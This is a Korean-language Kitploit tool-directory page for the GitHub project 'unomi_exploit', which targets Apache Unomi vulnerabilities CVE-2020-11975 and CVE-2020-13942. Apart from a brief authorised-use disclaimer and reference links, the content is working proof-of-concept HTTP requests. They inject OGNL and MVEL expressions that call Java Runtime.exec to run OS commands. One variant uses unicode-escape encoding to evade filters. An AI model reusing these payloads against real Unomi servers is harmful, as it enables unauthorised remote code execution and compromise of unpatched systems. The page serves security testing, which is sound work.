Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
unomi_exploit — CVE-2020-11975 CVE-2020-13942 | Kitploit
도구/GitHubGitHub/1135/unomi_exploit
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHub1135/unomi_exploit

unomi_exploit

CVE-2020-11975 CVE-2020-13942

저장소 보기
625년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

고지

여기에 제공된 취약점 탐지 방법, 파일 등의 내용은 법적 승인을 받은 보안 전문가가 승인된 서버의 보안을 검사할 목적으로만 사용해야 합니다. 보안 전문가는 법률을 준수해야 하며, 승인 없이 취약점 탐지를 수행하는 것을 금지합니다.

소개

  • 참조 링크
    • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13942
    • https://securityboulevard.com/2020/11/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
    • http://unomi.apache.org/
    • 취약점 분석 - Apache Unomi RCE 제1편 OGNL 주입(CVE-2020-11975) - 선지 커뮤니티
    • 취약점 분석 - Apache Unomi RCE 제2편 OGNL/MVEL 주입(CVE-2020-13942) - 선지 커뮤니티

CVE-2020-11975

PoC: CVE-2020-11975 OGNL 주입

(이 PoC는 버전 <= 1.5.0 탐지만 지원합니다. 이후 CVE-2020-13942의 2개 PoC를 사용하는 것을 권장하며, 이는 버전 <= 1.5.1을 지원합니다.)

root@kitploit:~
POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 749

{
  "personalizations":[
    {
      "id":"gender-test_anystr",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":{
                  "propertyName":"(#[email protected]@getRuntime()).(#r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))",
                  "comparisonOperator":"equals_anystr",
                  "propertyValue":"male_anystr"
                },
                "type":"profilePropertyCondition"
              }
            }
          ]
        }
      ]
    }
  ],
  "sessionId":"test-demo-session-id"
} 

CVE-2020-13942

PoC: OGNL 주입을 이용한 HTTP 요청

다음 (PoC) HTTP 요청의 OGNL 표현식은 Runtime을 얻고 Java 리플렉션 API를 사용하여 OS 명령을 실행합니다.

root@kitploit:~
POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 1143

{
  "personalizations":[
    {
      "id":"gender-test_anystr",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2_anystr"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":{
                  "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^  #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))",
                  "comparisonOperator":"equals",
                  "propertyValue":"male_anystr"
                },
                "type":"profilePropertyCondition"
              }
            }
          ]
        }
      ]
    }
  ],
  "sessionId":"test-demo-session-id"
} 

변형: 유니코드 인코딩을 사용하여 페이로드의 문자를 \uXXXX 형식으로 변경할 수 있습니다. 마찬가지로 성공합니다.

root@kitploit:~
// 예를 들어
// e는 \u0065로 변경
// .는 \u002e로 변경
(#runtim\u0065class = #this.getClass().forNam\u0065(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^  #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invok\u0065(null,null)).(#execmethod = #runtimeclass.getDeclar\u0065dMethods().{? #this.nam\u0065.\u0065quals(\"\u0065xec\")}.{? #this.g\u0065tParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod\u002einvok\u0065(#rtobj,\"/bin/bash -c $*|bash 0 /System/Applications/Calculator.app/Cont\u0065nts/MacOS/Calculator\"))

PoC: MVEL 주입을 이용한 HTTP 요청

다음 (PoC) HTTP 요청의 MVEL 표현식은 Runtime 객체를 생성하고 OS 명령을 실행합니다.

root@kitploit:~
POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 564

{
    "filters": [
        {
            "id": "myfilter1_anystr",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "test-demo-session-id_anystr"
}

변형: 유니코드 인코딩을 사용하여 페이로드의 문자를 \uXXXX 형식으로 변경할 수 있습니다. 마찬가지로 성공합니다.

도구 다운로드